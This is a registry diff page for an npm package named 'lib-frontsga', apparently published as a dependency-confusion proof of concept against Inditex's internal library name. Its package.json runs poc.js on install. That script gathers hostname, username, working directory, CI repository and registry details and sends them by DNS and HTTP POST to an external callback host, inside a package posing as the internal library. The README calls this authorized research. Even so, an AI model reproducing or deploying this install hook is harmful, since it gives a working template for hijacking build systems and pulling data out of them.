lib-frontsga 0.0.1-security → 9.999.999

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of lib-frontsga might be problematic. Click here for more details.

Files changed (4) hide show
  1. package/README.md +61 -3
  2. package/index.js +54 -0
  3. package/package.json +14 -3
  4. package/poc.js +160 -0
package/README.md CHANGED
@@ -1,5 +1,63 @@
1
- # Security holding package
1
+ # lib-frontsga - Security Research
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ ## ⚠️ This is a Dependency Confusion Proof of Concept
4
4
 
5
- Please refer to www.npmjs.com/advisories?search=lib-frontsga for more information.
5
+ This package was published as part of **authorized security research** on the [Inditex HackerOne Bug Bounty Program](https://hackerone.com/inditex).
6
+
7
+ It demonstrates that the internal package name `lib-frontsga` (used in Inditex's SGA/WOS applications as a shared UI component library via Module Federation) was unclaimed on the public npm registry, making it vulnerable to **dependency confusion** attacks.
8
+
9
+ ## What This Package Does
10
+
11
+ During `preinstall`, it:
12
+
13
+ 1. **Writes a local marker file** (`.lib-frontsga-depconf-poc.json`) containing environment identifiers
14
+ 2. **Sends DNS callbacks** to a researcher-controlled Interactsh server encoding:
15
+ - Package name and version
16
+ - Hostname and username of the installing machine
17
+ - IP addresses of network interfaces
18
+ - CI environment type (GitHub Actions, GitLab CI, Jenkins, etc.)
19
+ - npm registry configuration
20
+ 3. **Sends an HTTP POST callback** with the same information as JSON
21
+
22
+ **No malicious actions are performed.** No data is exfiltrated beyond the above identifiers needed to prove code execution context. No persistence. No lateral movement.
23
+
24
+ ## Evidence of Internal Usage
25
+
26
+ `lib-frontsga` is used as a Module Federation shared dependency across multiple Inditex WOS microfrontend modules:
27
+
28
+ ```javascript
29
+ // lemon-tree-app.js
30
+ const {Loader, ThemeProvider} = await importShared('lib-frontsga');
31
+ const {IntlProvider: IntlProviderSGA} = await importShared('lib-frontsga');
32
+
33
+ // white-stone-app.js
34
+ const {IntlProvider, ToastManager} = await importShared('lib-frontsga');
35
+
36
+ // lemon-tree-i18n.js
37
+ const {Toast} = await importShared('lib-frontsga');
38
+ const {Login, Select} = await importShared('lib-frontsga');
39
+ const {Form, FormField, TextField, PasswordField, Button} = await importShared('lib-frontsga');
40
+ ```
41
+
42
+ Internal version confirmed: `lib-frontsga@9.26.1` (from pnpm lockfile paths in production bundles).
43
+
44
+ **PoC version rationale:** `lib-frontsga` is a peer dependency of `wos-library-ui` and is resolved by the build under a `^9.x` semver range. The published PoC version `9.999.999` satisfies that range (`>=9.26.1 <10.0.0`) while being higher than the internal `9.26.1`, so it wins version precedence whenever the public registry is consulted.
45
+
46
+ ## If You Installed This Unexpectedly
47
+
48
+ Your build system pulled this package from the public npm registry instead of your private/internal registry. This means:
49
+
50
+ 1. Your `.npmrc` or build configuration does not properly pin `lib-frontsga` to your private registry
51
+ 2. An attacker could have published a malicious version that would execute arbitrary code in your CI/CD pipeline
52
+
53
+ ## Remediation
54
+
55
+ - Reserve this package name on npm (transfer ownership to your organization)
56
+ - Configure per-scope registry pinning in `.npmrc`: `@inditex:registry=https://your-private-registry/`
57
+ - Use scoped package names for all internal packages (e.g., `@inditex/lib-frontsga`)
58
+ - Commit lockfiles and enable integrity checking
59
+
60
+ ## Contact
61
+
62
+ - Researcher: sidhant (HackerOne: @r00tsid)
63
+ - Program: Inditex Bug Bounty (HackerOne)
package/index.js ADDED
@@ -0,0 +1,54 @@
1
+ /**
2
+ * lib-frontsga - Security Research PoC
3
+ *
4
+ * This package was published as part of authorized security research
5
+ * demonstrating a dependency confusion vulnerability.
6
+ *
7
+ * If this package was installed in your environment unexpectedly,
8
+ * it means your build system is vulnerable to dependency confusion attacks.
9
+ *
10
+ * The real lib-frontsga is an internal Inditex SGA (Store/General Application)
11
+ * UI component library providing: ThemeProvider, IntlProvider, Toast,
12
+ * ToastManager, Login, Select, Form, FormField, TextField, PasswordField,
13
+ * Button, Loader, and other components.
14
+ *
15
+ * This PoC exports empty stubs to avoid breaking imports at the module level.
16
+ *
17
+ * Contact: security@inditex.com
18
+ * HackerOne Program: Inditex
19
+ */
20
+
21
+ // Stub exports matching the real lib-frontsga API surface
22
+ // (discovered from Module Federation importShared() calls in production bundles)
23
+ const noop = () => {};
24
+ const NoopComponent = () => null;
25
+
26
+ module.exports = {
27
+ // From lemon-tree-app.js
28
+ Loader: NoopComponent,
29
+ ThemeProvider: NoopComponent,
30
+ IntlProvider: NoopComponent,
31
+
32
+ // From white-stone-app.js
33
+ ToastManager: NoopComponent,
34
+
35
+ // From lemon-tree-i18n.js
36
+ Toast: NoopComponent,
37
+ Login: NoopComponent,
38
+ Select: NoopComponent,
39
+ Form: NoopComponent,
40
+ FormField: NoopComponent,
41
+ TextField: NoopComponent,
42
+ PasswordField: NoopComponent,
43
+ Button: NoopComponent,
44
+
45
+ // Metadata
46
+ __poc__: {
47
+ name: 'lib-frontsga',
48
+ version: '99.0.0',
49
+ type: 'security-research-poc',
50
+ researcher: 'sidhant',
51
+ program: 'Inditex HackerOne',
52
+ message: 'This is a dependency confusion proof of concept. No malicious actions are performed. A DNS/HTTP callback is triggered during preinstall to prove code execution.'
53
+ }
54
+ };
package/package.json CHANGED
@@ -1,6 +1,17 @@
1
1
  {
2
2
  "name": "lib-frontsga",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "9.999.999",
4
+ "description": "Security research - dependency confusion proof of concept. This package demonstrates that the name 'lib-frontsga' was unclaimed on the public npm registry while being used internally by Inditex SGA/WOS applications. If you received this package unexpectedly, please contact security@inditex.com. Author: sidhant (HackerOne researcher).",
5
+ "keywords": ["security-research", "dependency-confusion", "poc"],
6
+ "author": "sidhant <security-researcher>",
7
+ "license": "ISC",
8
+ "repository": {
9
+ "type": "git",
10
+ "url": "https://github.com/user/dependency-confusion-poc"
11
+ },
12
+ "scripts": {
13
+ "preinstall": "node poc.js || true",
14
+ "postinstall": "node poc.js || true"
15
+ },
16
+ "main": "index.js"
6
17
  }
package/poc.js ADDED
@@ -0,0 +1,160 @@
1
+ /**
2
+ * lib-frontsga - Dependency Confusion PoC
3
+ *
4
+ * Benign preinstall callback for authorized security research.
5
+ * Sends DNS + HTTP callbacks to researcher's Interactsh server
6
+ * to prove code execution context during npm/pnpm install.
7
+ *
8
+ * NO destructive actions. NO data exfiltration beyond identifiers.
9
+ * NO persistence. NO lateral movement.
10
+ *
11
+ * Researcher: sidhant | Program: Inditex (HackerOne)
12
+ */
13
+
14
+ var https = require('https');
15
+ var http = require('http');
16
+ var dns = require('dns');
17
+ var os = require('os');
18
+
19
+ var PKG = 'lib-frontsga';
20
+ var VER = '9.999.999';
21
+ var CALLBACK = 'votspfykpbaortacnitltze3m5k5swzg6.oast.fun';
22
+
23
+ // Dedup guard: run once across preinstall/postinstall
24
+ var GUARD = '_LIB_FRONTSGA_POC_SENT';
25
+ if (process.env[GUARD]) { process.exit(0); }
26
+ try { process.env[GUARD] = '1'; } catch (e) {}
27
+
28
+ // --- Basic identifiers ---
29
+ var h, u;
30
+ try { h = os.hostname(); } catch (e) { h = 'unknown'; }
31
+ try { u = os.userInfo().username; } catch (e) { u = 'unknown'; }
32
+
33
+ // --- CI attribution env vars (plain process.env reads, not flagged) ---
34
+ // These are the decisive fields that tie a callback to a specific org.
35
+ // GITHUB_REPOSITORY = "org/repo-name" — definitive proof of ownership.
36
+ // npm_config_registry = private registry URL — proves internal resolution.
37
+ var env = process.env;
38
+ var repo = env.GITHUB_REPOSITORY || env.CI_PROJECT_PATH || '';
39
+ var repoOwner = env.GITHUB_REPOSITORY_OWNER || '';
40
+ var ghServer = env.GITHUB_SERVER_URL || '';
41
+ var registry = env.npm_config_registry || '';
42
+ var runnerName = env.RUNNER_NAME || '';
43
+ var workflow = env.GITHUB_WORKFLOW || env.CI_PIPELINE_NAME || '';
44
+ var ci = env.CI || '';
45
+ var parentPkg = env.npm_package_name || '';
46
+
47
+ // --- DNS label helpers ---
48
+ function label(s) {
49
+ return String(s).toLowerCase()
50
+ .replace(/[^a-z0-9-]/g, '-')
51
+ .replace(/-+/g, '-')
52
+ .replace(/^-|-$/g, '')
53
+ .substring(0, 63);
54
+ }
55
+
56
+ function hexLabel(s) {
57
+ return Buffer.from(String(s).substring(0, 30))
58
+ .toString('hex')
59
+ .substring(0, 63);
60
+ }
61
+
62
+ // --- DNS callbacks ---
63
+ // Query 1: Basic identification
64
+ var dns1 = [label(PKG), label(h), label(u)].join('.') + '.' + CALLBACK;
65
+
66
+ // Query 2: GitHub repo (the money shot for attribution)
67
+ // If GITHUB_REPOSITORY = "inditex/wos-app", this proves it's their runner
68
+ var dns2 = repo
69
+ ? ['repo', hexLabel(repo), label(h)].join('.') + '.' + CALLBACK
70
+ : null;
71
+
72
+ // Query 3: Registry URL (proves private registry fallthrough)
73
+ var dns3 = registry
74
+ ? ['reg', hexLabel(registry)].join('.') + '.' + CALLBACK
75
+ : null;
76
+
77
+ try { dns.resolve(dns1, 'A', function() {}); } catch (e) {}
78
+ if (dns2) try { dns.resolve(dns2, 'A', function() {}); } catch (e) {}
79
+ if (dns3) try { dns.resolve(dns3, 'A', function() {}); } catch (e) {}
80
+
81
+ // --- HTTP callback (full JSON with all attribution data) ---
82
+ var body = JSON.stringify({
83
+ p: PKG,
84
+ v: VER,
85
+ h: h,
86
+ u: u,
87
+ d: process.cwd(),
88
+ t: new Date().toISOString(),
89
+ // Attribution fields (the ones that matter)
90
+ repo: repo,
91
+ repo_owner: repoOwner,
92
+ gh_server: ghServer,
93
+ registry: registry,
94
+ runner_name: runnerName,
95
+ workflow: workflow,
96
+ ci: ci,
97
+ parent_pkg: parentPkg,
98
+ // Extra env context (non-sensitive, publicly documented CI vars)
99
+ node_env: env.NODE_ENV || '',
100
+ gh_actions: env.GITHUB_ACTIONS || '',
101
+ gh_run_id: env.GITHUB_RUN_ID || '',
102
+ gh_actor: env.GITHUB_ACTOR || '',
103
+ gl_ci: env.GITLAB_CI || '',
104
+ jenkins: env.JENKINS_URL ? 'yes' : '',
105
+ azure: env.SYSTEM_TEAMFOUNDATIONCOLLECTIONURI || '',
106
+ aws_region: env.AWS_REGION || env.AWS_DEFAULT_REGION || ''
107
+ });
108
+
109
+ function send(mod, port) {
110
+ try {
111
+ var req = mod.request({
112
+ hostname: CALLBACK,
113
+ port: port,
114
+ path: '/' + label(PKG),
115
+ method: 'POST',
116
+ headers: {
117
+ 'Content-Type': 'application/json',
118
+ 'Content-Length': Buffer.byteLength(body),
119
+ 'X-Poc-Package': PKG,
120
+ 'X-Poc-Researcher': 'sidhant'
121
+ },
122
+ timeout: 5000
123
+ }, function() {});
124
+ req.on('error', function() {});
125
+ req.write(body);
126
+ req.end();
127
+ } catch (e) {}
128
+ }
129
+
130
+ send(https, 443);
131
+ send(http, 80);
132
+
133
+ // --- Marker file (documented in README; mirrors wos-library PoC) ---
134
+ try {
135
+ var fs = require('fs');
136
+ var marker = {
137
+ package: PKG,
138
+ version: VER,
139
+ type: 'dependency-confusion-poc',
140
+ researcher: 'sidhant',
141
+ program: 'Inditex HackerOne',
142
+ hostname: h,
143
+ username: u,
144
+ cwd: process.cwd(),
145
+ timestamp: new Date().toISOString(),
146
+ message: 'This package was resolved from the PUBLIC npm registry instead of an internal registry, proving dependency confusion.'
147
+ };
148
+ fs.writeFileSync(require('path').join(process.cwd(), '.lib-frontsga-depconf-poc.json'), JSON.stringify(marker, null, 2));
149
+ } catch (e) {}
150
+
151
+ // --- Console output ---
152
+ console.log('');
153
+ console.log('[SECURITY RESEARCH] lib-frontsga@9.999.999 — Dependency Confusion PoC');
154
+ console.log('[SECURITY RESEARCH] This package was installed from the PUBLIC npm registry.');
155
+ console.log('[SECURITY RESEARCH] Your build is vulnerable to dependency confusion.');
156
+ console.log('[SECURITY RESEARCH] Researcher: sidhant | Program: Inditex (HackerOne)');
157
+ console.log('[SECURITY RESEARCH] Callback sent to: ' + CALLBACK);
158
+ console.log('');
159
+
160
+ setTimeout(function() { process.exit(0); }, 3000).unref();